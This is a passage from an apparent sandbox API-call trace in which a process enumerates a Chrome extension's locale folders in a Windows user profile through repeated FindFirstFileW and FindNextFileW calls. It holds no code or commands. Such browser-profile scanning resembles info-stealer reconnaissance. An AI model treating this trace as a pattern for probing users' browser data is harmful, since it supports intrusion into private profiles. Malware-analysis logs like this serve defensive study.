lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0273.365] GetProcessHeap () returned 0x550000 [0273.365] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26420b8 [0273.365] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0273.365] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.365] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.365] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.365] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0273.365] GetProcessHeap () returned 0x550000 [0273.365] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0273.365] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0273.365] GetProcessHeap () returned 0x550000 [0273.365] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26420b8 [0273.366] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0273.375] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.375] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.375] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.375] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0273.375] GetProcessHeap () returned 0x550000 [0273.375] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0273.375] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0273.376] GetProcessHeap () returned 0x550000 [0273.376] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26420b8 [0273.376] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0273.376] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.376] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.376] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.377] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0273.377] GetProcessHeap () returned 0x550000 [0273.377] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0273.377] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0273.377] GetProcessHeap () returned 0x550000 [0273.377] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26420b8 [0273.378] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0273.382] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.382] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.382] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.383] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0273.383] GetProcessHeap () returned 0x550000 [0273.383] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0273.383] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0273.383] GetProcessHeap () returned 0x550000 [0273.383] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26420b8 [0273.383] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0273.383] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.383] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.383] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.384] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0273.384] GetProcessHeap () returned 0x550000 [0273.384] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0273.384] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0273.384] GetProcessHeap () returned 0x550000 [0273.384] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26420b8 [0273.384] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0273.385] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.385] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.386] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.386] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0273.386] GetProcessHeap () returned 0x550000 [0273.386] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0273.386] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0273.386] GetProcessHeap () returned 0x550000 [0273.386] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26420b8 [0273.386] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0273.386] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.386] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.386] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.386] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0273.387] GetProcessHeap () returned 0x550000 [0273.387] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0273.387] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0273.387] GetProcessHeap () returned 0x550000 [0273.387] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26420b8 [0273.387] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0273.389] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.389] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.389] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.389] FindClose (in: hFindFile=0x639a08 